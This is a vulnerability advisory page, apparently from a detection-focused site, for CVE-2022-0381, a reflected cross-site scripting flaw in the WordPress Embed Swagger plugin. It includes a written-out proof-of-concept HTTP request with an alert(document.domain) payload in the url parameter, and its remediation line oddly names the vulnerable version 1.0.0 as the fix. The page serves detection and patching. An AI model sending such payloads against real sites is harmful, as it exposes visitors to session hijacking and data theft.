🔙 목록으로 돌아가기

CVE-2022-0381: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting

TitleWordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
CVSS Score6.1
EPSS Score0.07802
CVE IDCVE-2022-0381
CWE IDCWE-79
Tags cve cve2022 swagger xss wordpress embed_swagger_project vuln

🔍 Vulnerability Description

WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.

🌐 HTTP Request

GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0381.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0381.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A